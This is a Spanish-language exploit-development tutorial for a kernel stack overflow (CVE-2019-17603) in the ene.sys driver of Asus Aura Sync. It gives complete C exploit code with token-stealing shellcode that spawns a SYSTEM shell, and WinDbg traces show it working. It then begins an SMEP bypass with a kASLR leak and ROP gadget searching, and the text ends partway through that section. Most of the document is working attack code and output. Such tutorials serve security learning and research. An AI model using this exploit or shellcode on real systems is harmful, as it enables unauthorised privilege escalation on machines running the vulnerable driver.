En este post se llevará a cabo la explotación de una vulnerabilidad ahora en modo kernel, para ello usaremos una de las más conocidas: un Stack Overflow, para ello instalaremos Asus Aura Sync en su versión 1.07.71, que según el CVE-2019-17603 tiene una vulnerabilidad en el driver ene.sys que se instala a la par del programa, y este contiene un manejo de datos incorrecto permitiendo así escalar privilegios.
Reversing Driver
Luego de instalar el programa o simplemente cargar el driver con sc.exe, desde la máquina debugger deberíamos ser capaces de poder ver el módulo ene cargado.
0: kd> lm m ene
Browse full module list
start end module name
fffff807`7bdc0000 fffff807`7bdc7000 ene (deferred)
Si miramos la información sobre el driver vemos que su IRP_MJ_DEVICE_CONTROL se encuentra en un offset de 0x1100 a partir de la base del driver, esta estructura es la encargada de gestionar las acciones que realizan los diferentes códigos ioctl.
0: kd> !drvobj \driver\ene 2
Driver object (ffff990ab5239530) is for:
\Driver\Ene
DriverEntry: fffff8077bdc6064 ene
DriverStartIo: 00000000
DriverUnload: fffff8077bdc14c0 ene
AddDevice: 00000000
Dispatch routines:
[00] IRP_MJ_CREATE fffff8077bdc1100 ene+0x1100
[01] IRP_MJ_CREATE_NAMED_PIPE fffff8075fd10770 nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE fffff8077bdc1100 ene+0x1100
[03] IRP_MJ_READ fffff8075fd10770 nt!IopInvalidDeviceRequest
[04] IRP_MJ_WRITE fffff8075fd10770 nt!IopInvalidDeviceRequest
[05] IRP_MJ_QUERY_INFORMATION fffff8075fd10770 nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION fffff8075fd10770 nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA fffff8075fd10770 nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA fffff8075fd10770 nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS fffff8075fd10770 nt!IopInvalidDeviceRequest
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION fffff8075fd10770 nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION fffff8075fd10770 nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL fffff8075fd10770 nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL fffff8075fd10770 nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL fffff8077bdc1100 ene+0x1100
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL fffff8075fd10770 nt!IopInvalidDeviceRequest
[10] IRP_MJ_SHUTDOWN fffff8075fd10770 nt!IopInvalidDeviceRequest
[11] IRP_MJ_LOCK_CONTROL fffff8075fd10770 nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP fffff8075fd10770 nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT fffff8075fd10770 nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY fffff8075fd10770 nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY fffff8075fd10770 nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER fffff8075fd10770 nt!IopInvalidDeviceRequest
[17] IRP_MJ_SYSTEM_CONTROL fffff8075fd10770 nt!IopInvalidDeviceRequest
[18] IRP_MJ_DEVICE_CHANGE fffff8075fd10770 nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA fffff8075fd10770 nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA fffff8075fd10770 nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP fffff8075fd10770 nt!IopInvalidDeviceRequest
Lo primero es entender como funciona el driver, para ello podemos desensamblar el driver utilizando IDA, iniciaremos por el DriverEntry, este bloque llama a la función IoCreateDevice, esta función establece un nombre de dispositivo, en este caso es a través de \\.\EneIo, esta es la forma en la que nos comunicaremos con el driver.
Una vez creado el objeto se configura la tabla Dispatch Routines, donde podemos encontrar IoCtlHandler que renombramos así ya que el offset coincide con el que vimos al inicio desde WinDbg, el offset pertenece a IRP_MJ_DEVICE_CONTROL.
Identificada la función encargada de despachar las funciones vamos a analizar la función IoCtlHandler, aquí cada función se identifica con un código ioctl, nuestro driver acepta estas llamadas usando estructuras de tipo IRP o I/O Request Packets.
El driver decide que hacer dependiendo el tipo de solicitud que recibió, compara el primer byte del registro rsi o el campo Major Function contra los valores de 0x0, 0x2 y 0xe, que corresponden a las estructuras IRP_MJ_CREATE, IRP_MJ_CLOSE e IRP_MJ_DEVICE_CONTROL, la última nos interesa ya que queremos comunicarnos.
Si el byte es 0xe significa que nos comunicaremos a través de códigos ioctl por lo que inicia una estructura tipo switch para buscar el código ioctl correspondiente, iniciaremos con el primer código que es 0x80102040 y analizaremos lo que ejecuta.
El siguiente bloque nuevamente muestra un mensaje, y hace un salto condicional, si ebx es igual a 0 que significaría que la longitud de nuestros datos es nula y no enviamos datos, por lo que debemos de seguir la línea roja del salto condicional jz.
Siguiendo la linea roja vemos que utiliza la función memmove sin ninguna sanitización aparente ya que realmente nosotros controlamos la longitud, ya que controlamos los datos si escribimos mas de lo que soporta podriamos ocasionar un Buffer Overflow.
Después de copiar los datos siempre vuelve al final de la función que concluye en la instrucción ret del offset 0x14b8, si pasamos el buffer y sobrescribimos la dirección de retorno en este ultimo ret deberiamos tomar el control del flujo del programa.
Stack Overflow Trigger
Utilizando DeviceIoControl podemos comunicarnos pasandole el handle y el código ioctl perteneciente a la función, además de ello el buffer que le pasaremos y su tamaño, el resto de parámetros los dejaremos como NULL ya que no nos interesan.
BOOL DeviceIoControl(
[in] HANDLE hDevice,
[in] DWORD dwIoControlCode,
[in, optional] LPVOID lpInBuffer,
[in] DWORD nInBufferSize,
[out, optional] LPVOID lpOutBuffer,
[in] DWORD nOutBufferSize,
[out, optional] LPDWORD lpBytesReturned,
[in, out, optional] LPOVERLAPPED lpOverlapped
);
En un proyecto de Visual Studio definimos el siguiente código, iniciamos definiendo un buffer llamado payload con un tamaño de 100 bytes, (un poco más del buffer definido) el cual rellenaremos con A's, luego de eso lo enviamos al controlador.
#include <windows.h>
#include <stdio.h>
#define IOCTL_STACK_OVERFLOW 0x80102040
int main() {
HANDLE hDevice = CreateFileA("\\\\.\\EneIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to get handle: 0x%x\n", GetLastError());
exit(EXIT_FAILURE);
}
LPVOID payload = VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlFillMemory(payload, 100, 'A');
DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 100, NULL, 0, NULL, NULL);
CloseHandle(hDevice);
return 0;
}
Para ver lo que está haciendo el ultimo bloque reverseado estableceremos un breakpoint en la llamada a memmove y continuaremos la ejecución normal.
0: kd> bp ene + 0x142b
0: kd> g
Al compilar el proyecto nuestro exploit nos queda en un .exe que ejecutaremos.
C:\Users\user\Desktop> exploit.exe
Volviendo al debugger vemos que en el kernel hemos alcanzado el breakpoint a la llamada, así que analizaremos el comportamiento de esta llamada a memmove.
0: kd> g
Breakpoint 0 hit
ene+0x142b:
fffff803`66fe142b e810040000 call ene+0x1840 (fffff803`66fe1840)
Según la documentación oficial de Microsoft, la función memmove recibe en total 3 argumentos, un puntero al buffer de destino, un puntero al source y un contador.
void *memmove(
void *dest,
const void *src,
size_t count
);
Las convenciones de llamada en x64 nos dicen que los primeros 3 argumentos deberian estar en los registros rcx, rdx y r8, en rcx podemos ver el destino, en rdx el source o lo que se va a copiar y en r8 el contador que son 100 bytes.
0: kd> db rcx
ffffaa04`6ac8b7b0 0e 00 00 00 0e e4 ff ff-18 f2 3c 06 0e e4 ff ff ..........<.....
ffffaa04`6ac8b7c0 49 6f 20 20 00 00 00 00-00 00 00 00 00 00 00 00 Io ............
ffffaa04`6ac8b7d0 00 00 00 00 04 aa ff ff-70 f9 cc 60 03 f8 ff ff ........p..`....
ffffaa04`6ac8b7e0 00 f1 3c 06 0e e4 ff ff-c5 21 cd 60 03 f8 ff ff ..<......!.`....
ffffaa04`6ac8b7f0 02 00 00 00 00 00 00 00-8e 41 3b 61 03 f8 ff ff .........A;a....
ffffaa04`6ac8b800 80 00 84 07 0e e4 ff ff-80 00 84 07 0e e4 ff ff ................
ffffaa04`6ac8b810 00 00 00 00 00 00 00 00-01 00 00 00 00 00 00 00 ................
ffffaa04`6ac8b820 00 f1 3c 06 0e e4 ff ff-01 c8 04 61 03 f8 ff ff ..<........a....
0: kd> db rdx
ffffe40e`07d3d440 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffe40e`07d3d450 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffe40e`07d3d460 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffe40e`07d3d470 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffe40e`07d3d480 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffe40e`07d3d490 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffe40e`07d3d4a0 41 41 41 41 00 00 00 00-00 00 00 00 00 00 00 00 AAAA............
ffffe40e`07d3d4b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0: kd> ? r8
Evaluate expression: 100 = 00000000`00000064
Luego de ejecutar la llamada podemos ver que el contenido del buffer se ha copiado al destino, sin embargo hay que pensar que posiblemente el buffer definido sea mas pequeño que nuestro buffer, nosotros hemos escrito un total de 100 bytes.
0: kd> p
ene+0x1430:
fffff803`66fe1430 488b542430 mov rdx,qword ptr [rsp+30h]
0: kd> db 0xffffaa046ac8b7b0
ffffaa04`6ac8b7b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffaa04`6ac8b7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffaa04`6ac8b7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffaa04`6ac8b7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffaa04`6ac8b7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffaa04`6ac8b800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffaa04`6ac8b810 41 41 41 41 00 00 00 00-01 00 00 00 00 00 00 00 AAAA............
ffffaa04`6ac8b820 00 f1 3c 06 0e e4 ff ff-01 c8 04 61 03 f8 ff ff ..<........a....
Avanzamos hasta el siguiente ret donde podemos ver que hemos sobrescrito la dirección de retorno con 0x4141414141414141 que es igual a las A's en hexadecimal, si intentamos continuar provocará un error ya que esa dirección no existe, de esta forma controlamos la dirección donde apuntará mediante un Stack Buffer Overflow.
0: kd> pt
ene+0x14b8:
fffff803`66fe14b8 c3 ret
0: kd> dqs rsp L1
ffffaa04`6ac8b7e8 41414141`41414141
0: kd> p
Access violation - code c0000005 (!!! second chance !!!)
ene+0x14b8:
fffff803`66fe14b8 c3 ret
Para encontrar la cantidad de bytes necesarios antes de sobrescribir la dirección de retorno crearemos un patrón de caractéres con la función cyclic de pwntools.
❯ cyclic -n 8 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Ahora en lugar de rellenar el buffer payload con A's copiaremos al buffer los 100 bytes que creamos usando cyclic, después de ello compilamos otra vez el exploit.
#include <windows.h>
#include <stdio.h>
#define IOCTL_STACK_OVERFLOW 0x80102040
int main() {
HANDLE hDevice = CreateFileA("\\\\.\\EneIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to get handle: 0x%x\n", GetLastError());
exit(EXIT_FAILURE);
}
CONST CHAR *cyclic = "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa";
LPVOID payload = VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(payload, cyclic, 100);
DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 100, NULL, 0, NULL, NULL);
CloseHandle(hDevice);
return 0;
}
El breakpoint ahora será directamente en el ret donde se produce la vulnerabilidad.
0: kd> bp ene + 0x14b8
0: kd> g
Luego de ejecutar el exploit podemos ver que la dirección de retorno ahora tiene como valor algunos de los bytes que contenia la cadena creada con cyclic.
C:\Users\user\Desktop> exploit.exe
0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff803`1bbc14b8 c3 ret
0: kd> dqs rsp L1
fffffe02`179d47e8 61616161`61616168
Ya con la dirección podemos calcular el offset nuevamente utilizando cyclic, esa es la cantidad de bytes necesarios antes de sobrescribir la dirección de retorno.
❯ cyclic -n 8 -l 0x6161616161616168
56
Sabemos que después de rellenar 56 bytes tenemos la dirección de retorno, entonces reservaremos un nuevo espacio llamado shellcode donde copiaremos un total de 64 C's, luego el puntero a shellcode lo copiaremos a payload después de 56 A's por lo que el controlador deberia intentar ejecutar las C's en el ret.
#include <windows.h>
#include <stdio.h>
#define IOCTL_STACK_OVERFLOW 0x80102040
#define QWORD ULONGLONG
int main() {
HANDLE hDevice = CreateFileA("\\\\.\\EneIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to get handle: 0x%x\n", GetLastError());
exit(EXIT_FAILURE);
}
LPVOID payload = VirtualAlloc(NULL, 64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
LPVOID shellcode = VirtualAlloc(NULL, 64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlFillMemory(payload, 56, 'A');
RtlFillMemory(shellcode, 64, 'C');
*((QWORD *) ((BYTE *) payload + 56)) = (QWORD) shellcode;
DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 64, NULL, 0, NULL, NULL);
CloseHandle(hDevice);
return 0;
}
Ejecutamos el exploit y ahora la dirección de retorno apunta a 0x223877d0000, esta dirección contiene las C's por lo que se intentarán ejecutar como instrucciones.
0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff801`294b14b8 c3 ret
0: kd> db poi(rsp) L40
00000223`877d0000 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
00000223`877d0010 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
00000223`877d0020 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
00000223`877d0030 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0: kd> p
00000223`877d0000 43 ???
Initial Exploit
Ya que podemos ejecutar un shellcode entonces utilizaremos un token stealing, este shellcode esta diseñado para tomar el token del proceso System y copiarlo a nuestro proceso actual por lo vamos a obtener sus privilegios, al ejecutarlo simplemente llamaremos a system("cmd.exe"); para obtener una shell con todos los privilegios.
#include <windows.h>
#include <stdio.h>
#define IOCTL_STACK_OVERFLOW 0x80102040
#define QWORD ULONGLONG
BYTE tokenStealing[60] = {
0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rdx, [gs:0x188] ; $rdx = _KTHREAD
0x48, 0x8b, 0x82, 0xb8, 0x00, 0x00, 0x00, // mov rax, [rdx + 0xb8] ; $rax = _EPROCESS
0x50, 0x5b, // mov rbx, rax ; $rbx = _EPROCESS
// .loop:
0x48, 0x8b, 0x9b, 0x48, 0x04, 0x00, 0x00, // mov rbx, [rbx + 0x448] ; $rbx = ActiveProcessLinks
0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00, // sub rbx, 0x448 ; $rbx = _EPROCESS
0x48, 0x83, 0xbb, 0x40, 0x04, 0x00, 0x00, 0x04, // cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
0x75, 0xe8, // jnz .loop ; if zf == 0 -> loop
0x48, 0x8b, 0x8b, 0xb8, 0x04, 0x00, 0x00, // mov rcx, [rbx + 0x4b8] ; $rcx = SYSTEM token
0x80, 0xe1, 0xf0, // and cl, 0xf0 ; clear _EX_FAST_REF struct
0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00, // mov [rax + 0x4b8], rcx ; store SYSTEM token in _EPROCESS
0xc3 // ret ; return
};
int main() {
HANDLE hDevice = CreateFileA("\\\\.\\EneIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to get handle: 0x%x\n", GetLastError());
exit(EXIT_FAILURE);
}
LPVOID payload = VirtualAlloc(NULL, 64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
LPVOID shellcode = VirtualAlloc(NULL, sizeof(tokenStealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlFillMemory(payload, 56, 'A');
RtlCopyMemory(shellcode, tokenStealing, sizeof(tokenStealing));
*((QWORD *) ((BYTE *) payload + 56)) = (QWORD) shellcode;
DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 64, NULL, 0, NULL, NULL);
CloseHandle(hDevice);
system("cmd.exe");
return 0;
}
Ahora al llegar al ret tomará como dirección de retorno nuestro token stealing que en caso de ser ejecutado nos asignará todos los privilegios del proceso System.
0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff802`826314b8 c3 ret
0: kd> u poi(rsp) L0xc
00000286`4a8c0000 65488b142588010000 mov rdx,qword ptr gs:[188h]
00000286`4a8c0009 488b82b8000000 mov rax,qword ptr [rdx+0B8h]
00000286`4a8c0010 50 push rax
00000286`4a8c0011 5b pop rbx
00000286`4a8c0012 488b9b48040000 mov rbx,qword ptr [rbx+448h]
00000286`4a8c0019 4881eb48040000 sub rbx,448h
00000286`4a8c0020 4883bb4004000004 cmp qword ptr [rbx+440h],4
00000286`4a8c0028 75e8 jne 00000286`4a8c0012
00000286`4a8c002a 488b8bb8040000 mov rcx,qword ptr [rbx+4B8h]
00000286`4a8c0031 80e1f0 and cl,0F0h
00000286`4a8c0034 488988b8040000 mov qword ptr [rax+4B8h],rcx
00000286`4a8c003b c3 ret
Tenemos un problema, cuando terminamos de ejecutar el todo el shellcode y llegamos al ret, como sobrescribimos la dirección de retorno donde originalmente ibamos a volver va a intentar retornar a otro qword que es 0x2 y provocará un error.
0: kd> p
00000286`4a8c0000 65488b142588010000 mov rdx,qword ptr gs:[188h]
0: kd> pt
00000286`4a8c003b c3 ret
0: kd> dqs rsp L1
fffffd89`f360d7f0 00000000`00000002
0: kd> p
00000000`00000002 ?? ???
Si retornamos a esa dirección inválida el kernel corrompe por lo que nos manda un BSOD de tipo KERNEL_SECURITY_CHECK_FAILURE el cual nos indica que el stack está corrupto y no puede continuar porque puede significar una falla de seguridad.
0: kd> g
Break instruction exception - code 80000003 (first chance)
nt!KeCheckStackAndTargetAddress+0x53:
fffff802`7dd097d3 cc int 3
0: kd> g
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000139 (0x0000000000000000,0x0000000000000000,0x0000000000000000,0x0000000000000002)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
nt!DbgBreakPointWithStatus:
fffff802`7de06f80 cc int 3
0: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
KERNEL_SECURITY_CHECK_FAILURE (139)
A kernel component has corrupted a critical data structure. The corruption could potentially allow a malicious user to gain control of this machine.
Arguments:
Arg1: 0000000000000000, A stack-based buffer has been overrun.
Arg2: 0000000000000000, Address of the trap frame for the exception that caused the BugCheck
Arg3: 0000000000000000, Address of the exception record for the exception that caused the BugCheck
Arg4: 0000000000000002, Reserved
Para evitar esto lo que haremos será mover el stack para que retorne a una dirección que haga que salga correctamente, podemos usar la de IopSynchronousServiceTail, esta es parte del gestor I/O Manager de Windows y es tipicamente la que llama a la función DeviceIoControl, si retornamos aquí el sitema operativo creerá que la operación se completó y retornará la ejecución al modo usuario de forma normal.
0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff803`88e614b8 c3 ret
0: kd> pt
0000020f`af27003b c3 ret
0: kd> dqs rsp
fffffe0e`440147f0 00000000`00000002
fffffe0e`440147f8 fffff803`843b418e nt!ExAllocatePoolWithTag+0x2e
fffffe0e`44014800 ffffc88d`75171660
fffffe0e`44014808 ffffc88d`75171660
fffffe0e`44014810 00000000`00000000
fffffe0e`44014818 00000000`00000001
fffffe0e`44014820 ffffc88d`751f78b0
fffffe0e`44014828 fffff803`8404c801 nt!IopSynchronousServiceTail+0x361
fffffe0e`44014830 fffffe0e`44014b80
fffffe0e`44014838 00000000`80102040
fffffe0e`44014840 ffffc88d`75171660
fffffe0e`44014848 fffff803`00000000
fffffe0e`44014850 00000000`00000000
fffffe0e`44014858 fffff803`83c09c01 nt!MiValidFault+0x4f1
fffffe0e`44014860 ffffc88d`75171660
fffffe0e`44014868 00000000`00000000
Entonces es simple, añadimos 0x38 al stack para que en el ret ahora apunte a la dirección que sale usando el retorno de la función IopSynchronousServiceTail.
❯ asm -c amd64 'add rsp, 0x38'
4883c438
0x48, 0x83, 0xc4, 0x38, // add rsp, 0x38 ; restore stack
0xc3 // ret ; return
Si volvemos a correr el exploit podemos ver que luego de ejecutar nuestro shellcode retorna a la salida de la función que queremos y la ejecución continúa sin corromper.
0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff800`2c8214b8 c3 ret
0: kd> pt
00000268`146e003f c3 ret
0: kd> dqs rsp L1
ffffa402`61972828 fffff800`2664c801 nt!IopSynchronousServiceTail+0x361
0: kd> g
Debuggee is running...
Resumiendo el exploit, rellenamos con A's hasta antes de la dirección de retorno, aquí escribimos la dirección de nuestro shellcode que robará el token del proceso System y luego de limpiar el stack retorna al modo de usuario, después de explotar la vulnerabilidad y robar el token ejecutamos una cmd.exe para obtener una shell.
#include <windows.h>
#include <stdio.h>
#define IOCTL_STACK_OVERFLOW 0x80102040
#define QWORD ULONGLONG
BYTE tokenStealing[64] = {
0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rdx, [gs:0x188] ; $rdx = _KTHREAD
0x48, 0x8b, 0x82, 0xb8, 0x00, 0x00, 0x00, // mov rax, [rdx + 0xb8] ; $rax = _EPROCESS
0x50, 0x5b, // mov rbx, rax ; $rbx = _EPROCESS
// .loop:
0x48, 0x8b, 0x9b, 0x48, 0x04, 0x00, 0x00, // mov rbx, [rbx + 0x448] ; $rbx = ActiveProcessLinks
0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00, // sub rbx, 0x448 ; $rbx = _EPROCESS
0x48, 0x83, 0xbb, 0x40, 0x04, 0x00, 0x00, 0x04, // cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
0x75, 0xe8, // jnz .loop ; if zf == 0 -> loop
0x48, 0x8b, 0x8b, 0xb8, 0x04, 0x00, 0x00, // mov rcx, [rbx + 0x4b8] ; $rcx = SYSTEM token
0x80, 0xe1, 0xf0, // and cl, 0xf0 ; clear _EX_FAST_REF struct
0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00, // mov [rax + 0x4b8], rcx ; store SYSTEM token in _EPROCESS
0x48, 0x83, 0xc4, 0x38, // add rsp, 0x38 ; restore stack
0xc3 // ret ; return
};
int main() {
HANDLE hDevice = CreateFileA("\\\\.\\EneIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to get handle: 0x%x\n", GetLastError());
exit(EXIT_FAILURE);
}
LPVOID payload = VirtualAlloc(NULL, 64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
LPVOID shellcode = VirtualAlloc(NULL, sizeof(tokenStealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlFillMemory(payload, 56, 'A');
RtlCopyMemory(shellcode, tokenStealing, sizeof(tokenStealing));
*((QWORD *) ((BYTE *) payload + 56)) = (QWORD) shellcode;
DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 64, NULL, 0, NULL, NULL);
CloseHandle(hDevice);
system("cmd.exe");
return 0;
}
Al ejecutar el exploit deberiamos pasar de la shell como el usuario llamado user con pocos privilegios a nt authority\system que es el usuario con máximos privilegios.
C:\Users\user\Desktop> whoami
windows\user
C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.19045.6456]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Users\user\Desktop> whoami
nt authority\system
C:\Users\user\Desktop>
SMEP Bypass
A menudo Windows implementa soluciones para evitar que una vulnerabilidad sea crítica y que de existir no se pueda explotar o al menos no sea fácil, aquí es donde nace SMEP, una protección que impide ejecutar código en memoria de usuario si se ejecuta desde modo kernel, a continuación entenderemos su funcionamiento.
Cuando ejecutamos el exploit y sobrescribimos la dirección de retorno intenta saltar a nuestro shellcode, lo importante aqui es que nuestro shellcode está reservado en memoria de usuario, ya que estamos en modo kernel al intentar ejecutar la memoria de usuario nos saltará la protección SMEP impidiendo así que este se ejecute.
0: kd> bp ene + 0x14b8
0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff803`7da614b8 c3 ret
0: kd> u poi(rsp) L0xd
00000213`f7740000 65488b142588010000 mov rdx,qword ptr gs:[188h]
00000213`f7740009 488b82b8000000 mov rax,qword ptr [rdx+0B8h]
00000213`f7740010 50 push rax
00000213`f7740011 5b pop rbx
00000213`f7740012 488b9b48040000 mov rbx,qword ptr [rbx+448h]
00000213`f7740019 4881eb48040000 sub rbx,448h
00000213`f7740020 4883bb4004000004 cmp qword ptr [rbx+440h],4
00000213`f7740028 75e8 jne 00000213`f7740012
00000213`f774002a 488b8bb8040000 mov rcx,qword ptr [rbx+4B8h]
00000213`f7740031 80e1f0 and cl,0F0h
00000213`f7740034 488988b8040000 mov qword ptr [rax+4B8h],rcx
00000213`f774003b 4883c438 add rsp,38h
00000213`f774003f c3 ret
En el exploit anterior logramos ejecutar el shellcode ya que se deshabilitó SMEP, prácticamente todos los procesadores actuales tienen soporte y se encuentra activado por defecto, al ejecutar el ret e interpretar la primera instrucción del shellcode lanza BSOD tipo ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY.
0: kd> p
00000213`f7740000 65488b142588010000 mov rdx,qword ptr gs:[188h]
0: kd> p
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x000000fc (0x00000213F7740000,0x00000001A6AFB867,0xFFFFFE0526456660,0x0000000080000005)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
nt!DbgBreakPointWithStatus:
fffff803`76a06f80 cc int 3
0: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc)
An attempt was made to execute non-executable memory. The guilty driver
is on the stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name is printed on
the BugCheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: 00000213f7740000, Virtual address for the attempted execute.
Arg2: 00000001a6afb867, PTE contents.
Arg3: fffffe0526456660, (reserved)
Arg4: 0000000080000005, (reserved)
Si no podemos ejecutar instrucciones en modo user tendremos que hacerlo desde modo kernel, para ello podemos hacer ROP con el módulo nt y luego de hacer el bypass ya podremos ejecutar nuestro shellcode sin preocuparnos de SMEP.
C:\Users\user\Desktop> copy C:\Windows\System32\ntoskrnl.exe .
1 archivo(s) copiado(s).
C:\Users\user\Desktop>
Usando ropper podríamos encontrar algunos gadgets muy interesantes pero aun encontramos un problema, la protección kASLR hace que la dirección base de los módulos sea aleatoria por lo que necesitamos conseguir la dirección base.
❯ ropper --file ntoskrnl.exe -I 0x0 --console
[INFO] Load gadgets for section: .text
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(ntoskrnl.exe/PE/x86_64)>
La función EnumDeviceDrivers nos devuelve una lista con las direcciones base de todos los controladores del dispositivo, el primer valor devuelto en el arreglo es la dirección de ntoskrnl.exe así que tenemos una forma fácil de bypassear kASLR.
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#define QWORD ULONGLONG
QWORD GetKernelBase() {
LPVOID drivers[1024];
DWORD cbNeeded;
EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
return (QWORD) drivers[0];
}
int main() {
QWORD kernelBase = GetKernelBase();
printf("[*] Kenel Base: 0x%llx\n", kernelBase);
return 0;
}
Solo para verificarlo compilamos y ejecutamos el programa, al hacerlo nos devuelve una dirección en modo kernel, si miramos desde el debugger es la misma que nt.
C:\Users\user\Desktop> exploit.exe
[*] Kenel Base: 0xfffff8062b000000
C:\Users\user\Desktop>
0: kd> lm m nt
Browse full module list
start end module name
